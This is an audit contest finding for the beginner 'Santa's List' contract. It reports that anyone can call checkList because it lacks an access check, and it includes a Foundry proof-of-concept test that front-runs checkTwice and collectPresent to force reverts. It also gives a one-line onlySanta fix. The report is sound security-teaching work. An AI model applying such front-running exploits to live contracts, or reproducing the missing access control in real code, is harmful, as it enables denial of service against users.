First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Hacker Can Launch DoS Attacks on Certain Functions

pacelli

Summary

SantasList::checkList is supposed to only be callable by Santa but due to a lack of access control validation, anyone can call the function to front-run calls to SantasList::checkTwice and SantasList::collectPresent and cause the executions to revert.

Proof Of Concept

Paste the following test in SantasListTest.t.sol to test the vulnerability.

POC
function testSecurityReview__HackerCanDOSProtocol() public {
address hacker = makeAddr("HACKER");
​
// -------------------------- DoS on `checkTwice` -------------------------- //
​
vm.prank(santa, santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
​
// assume:
// - Santa sent a tx to `checkTwice` to validate `EXTRA_NICE` status for user
// - hacker listened the tx and calls `checkList` to front-run Santa's tx and set a different status for user
vm.prank(hacker, hacker);
santasList.checkList(user, SantasList.Status.NAUGHTY);
​
vm.prank(santa, santa);
vm.expectRevert(SantasList.SantasList__SecondCheckDoesntMatchFirst.selector);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
​
// -------------------------- DoS on `collectPresent` -------------------------- //
​
vm.startPrank(santa, santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// assume:
// - user has a `EXTRA_NICE` status and tries to `collectPresent`
// - hacker listened the tx and calls`checkList` to front-run user tx to change the status
​
vm.startPrank(hacker, hacker);
santasList.checkList(user, SantasList.Status.NAUGHTY);
​
vm.startPrank(user, user);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
santasList.collectPresent();
}

Impact

Santa can't check users twice and users are prevented from collecting their presents.

Tools Used

Foundry and VS Code.

Recommendations

Add access control check on SantasList::checkList to validate only Santa can execute the function.

- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!